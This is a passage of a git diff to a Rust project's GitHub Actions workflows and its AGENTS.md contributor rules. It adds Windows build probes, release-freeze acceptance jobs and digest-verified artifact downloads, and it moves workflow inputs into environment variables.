+ - uses: actions/checkout@v5 + with: + ref: ${{ needs.resolve.outputs.ref }} + + - name: Run exact-head Windows native probe + shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + run: | + $ErrorActionPreference = "Stop" + $probeRoot = Join-Path $env:RUNNER_TEMP ( + "codestory-cargo-hardlink-probe-$env:GITHUB_RUN_ID-$env:GITHUB_RUN_ATTEMPT" + ) + if (Test-Path -LiteralPath $probeRoot) { + throw "native probe root already exists: $probeRoot" + } + try { + cargo new --quiet --bin --name cargo-hardlink-probe $probeRoot + if ($LASTEXITCODE -ne 0) { + throw "cargo new failed" + } + $clock = [Diagnostics.Stopwatch]::StartNew() + $vswhere = Join-Path ${env:ProgramFiles(x86)} ( + "Microsoft Visual Studio/Installer/vswhere.exe" + ) + $visualStudio = & $vswhere -latest -products "*" ` + -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 ` + -property installationPath + $vsDevCmd = Join-Path $visualStudio "Common7/Tools/VsDevCmd.bat" + $build = ( + "`"$vsDevCmd`" -arch=x64 -host_arch=x64 >nul " + + "&& cd /d `"$probeRoot`" && cargo build --release --quiet" + ) + & cmd.exe /d /s /c $build + if ($LASTEXITCODE -ne 0) { + throw "tiny Cargo release probe failed" + } + node --test .github/scripts/cargo-build-artifacts.test.mjs + if ($LASTEXITCODE -ne 0) { + throw "exact-head Windows artifact selector mutations failed" + } + $rootExe = Join-Path $probeRoot "target/release/cargo-hardlink-probe.exe" + $depsExe = Join-Path $probeRoot "target/release/deps/cargo_hardlink_probe.exe" + $identityScript = @' + const fs = require("node:fs"); + const [root, deps] = process.argv.slice(2); + const left = fs.statSync(root, { bigint: true }); + const right = fs.statSync(deps, { bigint: true }); + if ( + left.dev !== right.dev + || left.ino !== right.ino + || left.nlink !== 2n + || right.nlink !== 2n + ) { + throw new Error("Cargo release root/deps outputs are not one native two-link file"); + } + console.log(JSON.stringify({ + device: String(left.dev), + inode: String(left.ino), + nlink: String(left.nlink), + })); + '@ + $identityScriptPath = Join-Path $probeRoot "verify-hardlink-identity.cjs" + Set-Content -LiteralPath $identityScriptPath -Value $identityScript -Encoding UTF8 + node $identityScriptPath $rootExe $depsExe + if ($LASTEXITCODE -ne 0) { + throw "Cargo native hardlink identity probe failed" + } + $clock.Stop() + if ($clock.Elapsed.TotalSeconds -ge 90) { + throw "native probe took $($clock.Elapsed.TotalSeconds) seconds" + } + "native_probe_seconds=$([Math]::Round($clock.Elapsed.TotalSeconds, 3))" + } finally { + Remove-Item -LiteralPath $probeRoot -Recurse -Force -ErrorAction SilentlyContinue + } + + freeze-acceptance: + name: freeze-acceptance + if: >- + always() && + inputs.acceptance_only && + needs.resolve.result == 'success' && + needs.freeze-hostile-mutations.result == 'success' && + needs.freeze-windows-native-probe.result == 'success' + needs: + - resolve + - freeze-hostile-mutations + - freeze-windows-native-probe + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v5 + with: + ref: ${{ needs.resolve.outputs.ref }} + + - name: Download executable release freeze receipt + uses: actions/download-artifact@v8.0.1 + with: + name: ${{ needs.resolve.outputs.freeze_artifact_name }} + path: ${{ runner.temp }}/release-freeze-receipt + + - name: Publish executable release freeze + shell: bash + env: + GH_TOKEN: ${{ github.token }} + FREEZE_RECEIPT_DIGEST: ${{ needs.resolve.outputs.freeze_digest }} + HEAD_SHA: ${{ needs.resolve.outputs.ref }} + ACCEPTANCE_PHASE: ${{ inputs.acceptance_phase }} + run: | + set -euo pipefail + tree="$(git rev-parse 'HEAD^{tree}')" + verified_digest="$( + node .github/scripts/release-freeze-barrier.mjs verify-file \ + --receipt "$RUNNER_TEMP/release-freeze-receipt/release-freeze-receipt.json" \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$HEAD_SHA" \ + --tree "$tree" \ + --run-id "$GITHUB_RUN_ID" \ + --run-attempt "$GITHUB_RUN_ATTEMPT" \ + --phase "$ACCEPTANCE_PHASE" + )" + test "$verified_digest" = "$FREEZE_RECEIPT_DIGEST" || { + echo "::error::Downloaded acceptance receipt digest differs from the Actions-generated resolve output." + exit 1 + } + gh api \ + --method POST \ + "repos/$GITHUB_REPOSITORY/statuses/$HEAD_SHA" \ + -f state=success \ + -f "context=codestory/release-freeze/$FREEZE_RECEIPT_DIGEST" \ + -f "description=tree=$tree" \ + -f "target_url=$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" + full-source-gate: name: full-source-gate needs: resolve @@ -153,7 +459,7 @@ jobs: # and cannot reach a different answer, which is what made re-labelling a PR expensive. Release # runs (workflow_call, which always supplies `ref`) never take this path: their chain requires # the job to execute. - if: needs.resolve.outputs.reuse != 'true' + if: ${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }} runs-on: ubuntu-latest timeout-minutes: 60 steps: @@ -399,14 +705,16 @@ jobs: cargo test --workspace --doc --locked - name: Emit authenticated source release cell - if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + RESOLVED_REF: ${{ needs.resolve.outputs.ref }} run: | set -euo pipefail node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ needs.resolve.outputs.ref }}" \ - --version "${{ inputs.version }}" \ + --expected-sha "$RESOLVED_REF" \ + --version "$INPUT_VERSION" \ --cell-id source_behavior \ --producer-workflow .github/workflows/source-proof.yml \ --producer-job full-source-gate \ @@ -416,10 +724,93 @@ jobs: --out target/release-cells/source_behavior.json - name: Upload authenticated source release cell - if: success() && inputs.emit_release_cells + if: success() uses: actions/upload-artifact@v7.0.1 with: name: release-cell-prepublish-source-attempt-${{ github.run_attempt }} path: target/release-cells/source_behavior.json if-no-files-found: error retention-days: 30 + + retrieval-generalization: + name: retrieval-generalization + needs: resolve + if: ${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }} + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v5 + with: + ref: ${{ needs.resolve.outputs.ref }} + + - uses: actions/setup-node@v5 + with: + node-version: "24" + package-manager-cache: false + + - name: Generalization lint (production paths) + run: node scripts/lint-retrieval-generalization.mjs + + - name: Generalization lint hostile matrix + run: node --test scripts/tests/lint-retrieval-generalization.test.mjs + + windows-native-contracts: + name: windows-native-contracts + needs: resolve + if: ${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }} + runs-on: windows-latest + timeout-minutes: 15 + env: + CMAKE_GENERATOR: Ninja + steps: + - uses: actions/checkout@v5 + with: + ref: ${{ needs.resolve.outputs.ref }} + + - name: Install Rust stable + shell: pwsh + run: | + rustup toolchain install stable --profile minimal + rustup default stable + + - name: Configure short Windows Cargo target + shell: pwsh + run: | + $workspaceTarget = Join-Path $env:GITHUB_WORKSPACE "target" + $runnerRoot = [System.IO.Path]::GetPathRoot($workspaceTarget) + if ([string]::IsNullOrWhiteSpace($runnerRoot)) { + throw "workspace target has no volume root: $workspaceTarget" + } + $shortTarget = Join-Path $runnerRoot "t" + New-Item -ItemType Directory -Force -Path $workspaceTarget | Out-Null + if (Test-Path -LiteralPath $shortTarget) { + throw "short Cargo target already exists: $shortTarget" + } + New-Item -ItemType Junction -Path $shortTarget -Target $workspaceTarget | Out-Null + "CARGO_TARGET_DIR=$shortTarget" | + Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append + + - name: Prepare checksum-pinned embedded model + run: node scripts/prepare-embedded-model.mjs + + - name: Install checksum-pinned Windows Vulkan SDK + shell: pwsh + run: .github/scripts/install-windows-vulkan-sdk.ps1 + + - name: Prove Windows path and native-staging source contracts + shell: pwsh + run: | + $started = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + cargo test --release --locked ` + -p codestory-workspace --test windows_path_identity ` + -p codestory-llama-sys --test native_staging + if ($LASTEXITCODE -ne 0) { + throw "Windows native source contracts failed with exit code $LASTEXITCODE" + } + $ended = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $elapsed = $ended - $started + if ($elapsed -lt 0) { + throw "Windows native source-contract timing was negative" + } + "- Windows path and native-staging source contracts: ${elapsed} ms" | + Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Encoding utf8 -Append diff --git a/.github/workflows/windows-vulkan-proof.yml b/.github/workflows/windows-vulkan-proof.yml index a6a51622d..945d124fb 100644 --- a/.github/workflows/windows-vulkan-proof.yml +++ b/.github/workflows/windows-vulkan-proof.yml @@ -17,10 +17,6 @@ on: required: false default: false type: boolean - quality_evidence_artifact: - required: false - default: "" - type: string calibration_bundle_artifact: required: false default: "" @@ -48,44 +44,6 @@ on: required: false default: false type: boolean - workflow_dispatch: - inputs: - version: - required: true - type: string - ref: - required: false - type: string - proof_key: - required: false - type: string - quality_evidence_artifact: - required: false - type: string - calibration_bundle_artifact: - required: false - default: "" - type: string - calibration_bundle_run_id: - required: false - default: "" - type: string - candidate_installed_proof: - description: Install and prove the exact package through the candidate-managed launcher boundary. - required: false - default: false - type: boolean - candidate_producer_workflow_path: - description: Top-level workflow path authenticated as the candidate artifact producer. - required: false - default: ".github/workflows/windows-vulkan-proof.yml" - type: string - server_behavior_only: - description: Prove bounded package retrieval readiness without answer-quality or performance claims. - required: false - default: false - type: boolean - permissions: actions: read contents: read @@ -125,8 +83,10 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} run: | - if ("${{ inputs.server_behavior_only }}" -ne "true") { + if ($env:SERVER_BEHAVIOR_ONLY -ne "true") { throw "candidate_installed_proof requires server_behavior_only" } @@ -139,7 +99,7 @@ jobs: ninja --version | Out-File -Append target/windows-vulkan-proof/host.txt - name: Install pinned Rust - if: ${{ !inputs.use_packaged_cli_artifact || !inputs.server_behavior_only }} + if: ${{ !inputs.use_packaged_cli_artifact }} shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" run: | rustup toolchain install 1.95.0 --profile minimal @@ -150,7 +110,9 @@ jobs: # The self-hosted runner service account has the default Restricted execution # policy, so every run step must carry the bypass shell or die before running. shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" - run: node scripts/prepare-embedded-model.mjs + run: >- + node scripts/prepare-embedded-model.mjs + --cache-root "$env:RUNNER_TOOL_CACHE/codestory/model-material" - name: Build and package native CLI if: ${{ !inputs.use_packaged_cli_artifact }} @@ -158,33 +120,277 @@ jobs: env: VERSION: ${{ inputs.version }} CMAKE_GENERATOR: Ninja + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} run: | $version = $env:VERSION.TrimStart('v') - cargo build --release --locked -p codestory-cli + $cargoArgs = @( + "build", + "--release", + "--locked", + "-p", "codestory-cli", + "--bin", "codestory-cli", + "--bin", "codestory-cli-runtime" + ) + if ($env:SERVER_BEHAVIOR_ONLY -ne "true") { + $cargoArgs += @( + "-p", "codestory-bench", + "--bin", "codestory_embedding_qualification" + ) + } + cargo @cargoArgs python .github/scripts/package-codestory-release.py ` --version $version ` --target windows-x64 ` --binary target/release/codestory-cli.exe ` --out-dir target/release-dist - - name: Download packaged CLI artifact + - name: Authenticate exact Windows candidate artifacts + id: candidate-artifacts + if: inputs.use_packaged_cli_artifact + shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + env: + GH_TOKEN: ${{ github.token }} + CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + run: | + $ErrorActionPreference = "Stop" + $allowedWorkflows = @( + ".github/workflows/auto-release.yml", + ".github/workflows/release.yml", + ".github/workflows/packaged-platform-pr.yml" + ) + if ($env:CANDIDATE_PRODUCER_WORKFLOW_PATH -notin $allowedWorkflows) { + throw "candidate producer workflow is not trusted" + } + if ( + $env:SERVER_BEHAVIOR_ONLY -ne "true" -and + $env:CANDIDATE_PRODUCER_WORKFLOW_PATH -ne + ".github/workflows/packaged-platform-pr.yml" + ) { + throw "full qualification requires the exact qualification coordinator" + } + $sourceSha = (git rev-parse HEAD).Trim() + $run = gh api "repos/$env:GITHUB_REPOSITORY/actions/runs/$env:GITHUB_RUN_ID" | + ConvertFrom-Json + if ( + $run.head_repository.full_name -ne $env:GITHUB_REPOSITORY -or + $run.path -ne $env:CANDIDATE_PRODUCER_WORKFLOW_PATH -or + $run.head_sha -ne $sourceSha -or + [string]$run.run_attempt -ne $env:GITHUB_RUN_ATTEMPT + ) { + throw "Windows package producer is not the trusted exact-head run" + } + $artifacts = gh api ` + "repos/$env:GITHUB_REPOSITORY/actions/runs/$env:GITHUB_RUN_ID/artifacts?per_page=100" | + ConvertFrom-Json + function Select-ExactArtifact([string] $name) { + $selected = @( + $artifacts.artifacts | Where-Object { + $_.name -eq $name -and + $_.expired -eq $false -and + [string]$_.workflow_run.id -eq $env:GITHUB_RUN_ID -and + $_.workflow_run.head_sha -eq $sourceSha + } + ) + if ($selected.Count -ne 1) { + throw "expected exactly one authenticated $name artifact" + } + return $selected[0] + } + $package = Select-ExactArtifact "codestory-cli-windows-x64" + $record = Select-ExactArtifact ` + "codestory-candidate-archive-record-windows-x64" + if ($env:SERVER_BEHAVIOR_ONLY -ne "true") { + $null = Select-ExactArtifact ` + "codestory-qualification-driver-windows-x64" + } + if ( + [string]$package.id -notmatch '^[0-9]+$' -or + [string]$package.size_in_bytes -notmatch '^[0-9]+$' -or + [string]$package.digest -notmatch '^sha256:[0-9a-f]{64}$' -or + [string]$record.id -notmatch '^[0-9]+$' -or + [string]$record.size_in_bytes -notmatch '^[0-9]+$' -or + [string]$record.digest -notmatch '^sha256:[0-9a-f]{64}$' + ) { + throw "candidate artifact metadata is incomplete" + } + @( + "package-id=$($package.id)", + "package-bytes=$($package.size_in_bytes)", + "package-sha256=$($package.digest.Substring(7))" + ) | Out-File -FilePath $env:GITHUB_OUTPUT -Encoding utf8 -Append + + - name: Download authenticated candidate record if: inputs.use_packaged_cli_artifact uses: actions/download-artifact@v8.0.1 with: - name: codestory-cli-windows-x64 - path: target/release-dist + name: codestory-candidate-archive-record-windows-x64 + path: target/candidate-archive-record/windows-x64 - - name: Build qualification driver - if: ${{ !inputs.server_behavior_only }} + - name: Restore exact candidate archive from protected host + id: candidate-cache + if: inputs.use_packaged_cli_artifact shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" - run: cargo build --release --locked -p codestory-bench --bin codestory_embedding_qualification + run: | + $ErrorActionPreference = "Stop" + $started = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $recordPath = "target/candidate-archive-record/windows-x64/candidate-archive-record.json" + $record = Get-Content -Raw -LiteralPath $recordPath | ConvertFrom-Json + $sourceSha = (git rev-parse HEAD).Trim() + $sourceTree = (git rev-parse 'HEAD^{tree}').Trim() + if ( + $record.repository -ne $env:GITHUB_REPOSITORY -or + $record.source.commit -ne $sourceSha -or + $record.source.tree -ne $sourceTree -or + $record.target -ne "windows-x64" + ) { + throw "candidate record provenance does not match the protected proof" + } + $store = Join-Path $env:RUNNER_TOOL_CACHE ` + "codestory/candidate-archives" + New-Item -ItemType Directory -Force $store | Out-Null + New-Item -ItemType Directory -Force target | Out-Null + Remove-Item -Recurse -Force target/release-dist -ErrorAction SilentlyContinue + $restored = node .github/scripts/candidate-archive-store.mjs restore ` + --record $recordPath ` + --store-root $store ` + --output-root target ` + --output-dir target/release-dist | ConvertFrom-Json + $hit = "$($restored.hit)".ToLowerInvariant() + if ($hit -notin @("true", "false")) { + throw "candidate cache returned an invalid hit state" + } + "hit=$hit" | + Out-File -FilePath $env:GITHUB_OUTPUT -Encoding utf8 -Append + $elapsed = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() - $started + @( + "### Candidate archive transfer", + "", + "- Protected-host cache lookup and verification: $elapsed ms", + "- Cache hit: ``$hit``" + ) | Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Encoding utf8 -Append + + - name: Download, authenticate, and admit candidate archive on miss + if: inputs.use_packaged_cli_artifact && steps.candidate-cache.outputs.hit != 'true' + shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_ID: ${{ steps.candidate-artifacts.outputs.package-id }} + EXPECTED_SIZE: ${{ steps.candidate-artifacts.outputs.package-bytes }} + EXPECTED_SHA256: ${{ steps.candidate-artifacts.outputs.package-sha256 }} + run: | + $ErrorActionPreference = "Stop" + $started = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $archive = Join-Path $env:RUNNER_TEMP ` + "codestory-cli-windows-x64-$env:ARTIFACT_ID.zip" + $partial = "$archive.partial" + Remove-Item -Force $archive, $partial -ErrorAction SilentlyContinue + $url = "$env:GITHUB_API_URL/repos/$env:GITHUB_REPOSITORY/actions/artifacts/$env:ARTIFACT_ID/zip" + $complete = $false + foreach ($attempt in 1..30) { + & curl.exe ` + --fail ` + --location ` + --silent ` + --show-error ` + --connect-timeout 30 ` + --max-time 120 ` + --continue-at - ` + --header "Accept: application/vnd.github+json" ` + --header "Authorization: Bearer $env:GH_TOKEN" ` + --header "X-GitHub-Api-Version: 2022-11-28" ` + --output $partial ` + $url + if ($LASTEXITCODE -eq 0) { + $complete = $true + break + } + $currentSize = if (Test-Path -LiteralPath $partial -PathType Leaf) { + (Get-Item -LiteralPath $partial).Length + } else { + 0 + } + if ($currentSize -gt [long]$env:EXPECTED_SIZE) { + throw "candidate artifact exceeded its authenticated size" + } + if ($currentSize -eq [long]$env:EXPECTED_SIZE) { + $complete = $true + break + } + Write-Warning ` + "resuming exact candidate at byte $currentSize after attempt $attempt" + Start-Sleep -Seconds 2 + } + if (-not $complete) { + throw "exact candidate artifact transfer did not complete" + } + $actualSize = (Get-Item -LiteralPath $partial).Length + $actualDigest = ( + Get-FileHash -Algorithm SHA256 -LiteralPath $partial + ).Hash.ToLowerInvariant() + if ( + $actualSize -ne [long]$env:EXPECTED_SIZE -or + $actualDigest -ne $env:EXPECTED_SHA256 + ) { + throw "candidate artifact container identity changed" + } + Move-Item -LiteralPath $partial -Destination $archive + $transferEnded = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + $recordPath = "target/candidate-archive-record/windows-x64/candidate-archive-record.json" + $stage = "target/candidate-archive-stage/windows-x64" + Remove-Item -Recurse -Force $stage -ErrorAction SilentlyContinue + python .github/scripts/extract-candidate-actions-artifact.py ` + --artifact $archive ` + --record $recordPath ` + --out $stage + if ($LASTEXITCODE -ne 0) { + throw "candidate artifact extraction failed" + } + $store = Join-Path $env:RUNNER_TOOL_CACHE ` + "codestory/candidate-archives" + $admitted = node .github/scripts/candidate-archive-store.mjs admit ` + --record $recordPath ` + --input-root $stage ` + --store-root $store ` + --output-root target ` + --output-dir target/release-dist | ConvertFrom-Json + if (-not $admitted.hit -and -not $admitted.admitted) { + throw "candidate archive was not admitted or restored" + } + $admissionEnded = [DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() + @( + "- Authenticated Actions transfer: $($transferEnded - $started) ms", + "- Payload verification and atomic admission: $($admissionEnded - $transferEnded) ms" + ) | Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Encoding utf8 -Append - - name: Download exact-head publishable packet quality evidence - if: inputs.quality_evidence_artifact != '' + - name: Download separate authenticated qualification driver + if: ${{ inputs.use_packaged_cli_artifact && !inputs.server_behavior_only }} uses: actions/download-artifact@v8.0.1 with: - name: ${{ inputs.quality_evidence_artifact }} - path: target/release-quality-evidence + name: codestory-qualification-driver-windows-x64 + path: target/qualification-driver-artifact/windows-x64 + + - name: Verify packaged qualification driver + id: qualification-driver + if: ${{ inputs.use_packaged_cli_artifact && !inputs.server_behavior_only }} + shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + env: + INPUT_VERSION: ${{ inputs.version }} + run: | + $sourceSha = (git rev-parse HEAD).Trim() + $sourceTree = (git rev-parse 'HEAD^{tree}').Trim() + $version = $env:INPUT_VERSION.TrimStart('v') + $verified = node .github/scripts/qualification-driver-artifact.mjs verify ` + --asset-target windows-x64 ` + --source-sha $sourceSha ` + --source-tree $sourceTree ` + --version $version ` + --archive "target/release-dist/codestory-cli-v$version-windows-x64.zip" ` + --trusted-root $env:GITHUB_WORKSPACE ` + --artifact-dir target/qualification-driver-artifact/windows-x64 + $result = $verified | ConvertFrom-Json + "path=$($result.driver)" | + Out-File -FilePath $env:GITHUB_OUTPUT -Encoding utf8 -Append - name: Authenticate calibration bundle producer if: ${{ !inputs.server_behavior_only }} @@ -233,6 +439,10 @@ jobs: VERSION: ${{ inputs.version }} CODESTORY_EMBED_ALLOW_CPU: "0" SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + USE_PACKAGED_CLI_ARTIFACT: ${{ inputs.use_packaged_cli_artifact }} + VERIFIED_QUALIFICATION_DRIVER: ${{ steps.qualification-driver.outputs.path }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | $ErrorActionPreference = "Stop" $version = $env:VERSION.TrimStart('v') @@ -240,7 +450,6 @@ jobs: $sourceTree = (git rev-parse 'HEAD^{tree}').Trim() $claimArgs = @() $calibrationArgs = @() - $qualityPath = "target/release-quality-evidence/packet/packet-runtime-summary.json" if ($env:SERVER_BEHAVIOR_ONLY -eq "true") { $claimArgs = @("--server-behavior-only") } else { @@ -250,19 +459,25 @@ jobs: if ($calibrationBundles.Count -ne 1) { throw "expected exactly one frozen calibration-bundle.json" } - if (-not (Test-Path $qualityPath)) { - throw "protected Windows proof requires exact-head quality evidence" + $qualificationDriver = "target/release/codestory_embedding_qualification.exe" + if ($env:USE_PACKAGED_CLI_ARTIFACT -eq "true") { + $qualificationDriver = $env:VERIFIED_QUALIFICATION_DRIVER + if ([String]::IsNullOrWhiteSpace($qualificationDriver)) { + throw "packaged qualification driver was not verified" + } + } + if (-not (Test-Path -LiteralPath $qualificationDriver -PathType Leaf)) { + throw "protected Windows proof requires the authenticated qualification driver" } $claimArgs = @( "--produce-qualification-evidence", - "--qualification-driver", "target/release/codestory_embedding_qualification.exe", - "--qualification-evidence", "target/windows-vulkan-proof/qualification.json", - "--retrieval-quality-evidence", $qualityPath + "--qualification-driver", $qualificationDriver, + "--qualification-evidence", "target/windows-vulkan-proof/qualification.json" ) $calibrationArgs = @( "--calibration-bundle", $calibrationBundles[0].FullName, - "--calibration-producer-run-id", "${{ inputs.calibration_bundle_run_id }}", - "--calibration-producer-artifact", "${{ inputs.calibration_bundle_artifact }}" + "--calibration-producer-run-id", "$env:CALIBRATION_RUN_ID", + "--calibration-producer-artifact", "$env:CALIBRATION_ARTIFACT" ) } python .github/scripts/check-packaged-agent-proof.py ` @@ -394,9 +609,12 @@ jobs: - name: Emit authenticated Vulkan release cell if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" jq -n \ --arg native_engine coderank_q8_embedded \ @@ -404,7 +622,7 @@ jobs: > target/windows-vulkan-proof/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id accelerator_execution:windows-x64-vulkan \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ @@ -428,13 +646,16 @@ jobs: - name: Emit authenticated Windows retrieval-readiness release cell if: inputs.emit_release_cells && inputs.server_behavior_only shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id retrieval_readiness:windows-x64 \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ @@ -457,9 +678,12 @@ jobs: - name: Emit authenticated candidate-installed Windows release cell if: inputs.emit_release_cells && inputs.candidate_installed_proof shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" jq -n \ --arg installer candidate_managed_plugin \ @@ -469,7 +693,7 @@ jobs: > target/candidate-installed-windows/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id candidate_installed_behavior:windows-x64 \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ diff --git a/AGENTS.md b/AGENTS.md index c6252349a..308cf6318 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -120,8 +120,8 @@ adapter to compensate for incorrect upstream state. lanes. - Do not use `cargo test --workspace --all-targets` as the routine broad gate; it expands Criterion targets. Draft work uses focused checks. The full - workspace test and all-target/all-feature clippy gate run once on an - independently accepted exact head. + workspace test and all-target/all-feature clippy gate run once on the source + head accepted by the executable release freeze barrier. - CLI integration tests must launch through `tests/test_support::cli_command` or its supplied-binary variant, use isolated cache/install/plugin state roots. @@ -160,6 +160,9 @@ adapter to compensate for incorrect upstream state. saga label) must close a PR-sized issue with `Closes`, `Fixes`, or `Resolves`. Use `Refs` for broader parents. A partial slice closes only its child issue; keep the parent open until its acceptance criteria are met. +- Before creating an issue, branch, worktree, or PR, search open and closed + issues, merged PRs, and integration history for the requested outcome, then + prove that outcome is absent from the current integration head. - For PRs targeting `dev/codestory-next`, add both the issue and PR to the Project; computed linked-PR fields may not populate before default-branch promotion. @@ -170,6 +173,9 @@ adapter to compensate for incorrect upstream state. - PRs should explain context, what changed, how to review, verification, risk, and follow-up. Include exact SHAs and distinguish completed proof from non-claims. +- Release handoffs must name the final intended source head, known future + source changes, proof-triggering labels or actions, reusable and invalidated + evidence, currently running workflows, and the next permitted mutation. - Public GitHub status comments must use `node scripts/github-status-comment.mjs --issue --body-file ` or stdin; the helper rejects literal `\\n` text. @@ -186,6 +192,44 @@ adapter to compensate for incorrect upstream state. ## Release Rules +### Candidate freeze and proof budget + +- Before any gate expected to exceed five minutes, record the exact commit and + tree, confirm the worktree is clean and pushed, and confirm that every + planned source or workflow change is already merged. Independent acceptance + must execute the required hostile mutations on that exact head; diff review + and existing green tests do not qualify. Any later commit revokes + acceptance. +- Support PRs use focused checks only. Do not add a proof-triggering label or + dispatch a broad source, package, calibration, or hardware gate until all + support PRs are integrated into the release lane. Broad proof belongs to the + final integration head, not every independently mergeable PR. +- Release order is: merge all blockers, run focused checks, run actual-host + microprobes, execute hostile mutation acceptance, push and declare the source + head frozen for calibration, calibrate, apply the sole generated constant-set + change, accept and freeze that generated head, run one broad source proof on + it, then qualify. If another source or workflow change becomes necessary, + immediately invalidate the candidate and cancel every queued or running + proof for it. +- Run the full workspace source proof exactly once per release candidate, on + the generated constant-only frozen head after calibration. The calibration + source receives focused hostile-mutation and native-probe acceptance, not a + broad source proof. Use deterministic selection validation, direct + constant-only lineage verification, and frozen-candidate qualification; + never run both a pre-calibration and post-calibration workspace proof. +- Cancel a run whose head is no longer the intended release candidate. Never + let an expensive obsolete run finish for information. Before dispatching, + inspect both in-flight runs and whether any known source change will + invalidate the result. +- After a platform-specific packaging or filesystem failure, do not run a full + rebuild until a sub-90-second native probe reproduces the relevant path, + link, staging, cache, or identity behavior on that operating system. Test the + selector against the probe or captured artifact first. +- Use one implementer and one adversarial verifier. Give the verifier the exact + mutation matrix and only the context needed to execute it. Its output is + limited to counterexamples or acceptance evidence. After two failed + revisions of the same shape, stop patching examples and redesign the seam. + - Freeze the selected release claim before qualification. For the standard v0.16 release described in `CHANGELOG.md`, build one candidate; install its exact archives on Apple Silicon macOS, Windows x64, and Linux x64; complete @@ -216,6 +260,29 @@ adapter to compensate for incorrect upstream state. - `plugins/codestory/.codex-plugin/plugin.json` - `plugins/codestory/.claude-plugin/plugin.json` - `plugins/codestory/.github/plugin/plugin.json` +- Release ordering is **bump-then-calibrate**. Bump the version first, + calibrate the per-user embedding server on the bumped tree, land the + constant-set freeze commit, then package and release. The frozen-candidate + `qualification` dispatch authenticates the calibration bundle and runs + `Prove frozen calibration source lineage`. Every proof-only or publishing + release preflight separately runs + `.github/scripts/check-calibration-release-lineage.py` against its actual + checked-out head, even when no bundle is supplied. Both bindings require the + calibration commit to be an ancestor of the release commit and require + `crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` to be + the only file that differs between them. A calibrate-then-bump ordering + fails the guard by name; the fix is to move the bump ahead of calibration and + recalibrate on the bumped tree, never to widen the allowed path set. Any other + commit -- a doc fix, a CI tweak, a rebase -- between calibration and the + package also fails, so recalibrate rather than reorder history. +- CPU embeddings are unsupported. Calibration and release-proof execution must + use `accelerated` policy with CPU fallback disabled. Runtime-constant + calibration requires exactly three fresh protected Apple Silicon Metal runs + with one sample per metric per run. Optional Linux Vulkan calibration is a + standalone, non-selecting diagnostic; it never joins or blocks calibration + assembly. Calibration freezes runtime constants only. Lifecycle, fault, + true-idle, memory, retrieval-quality, and accelerator 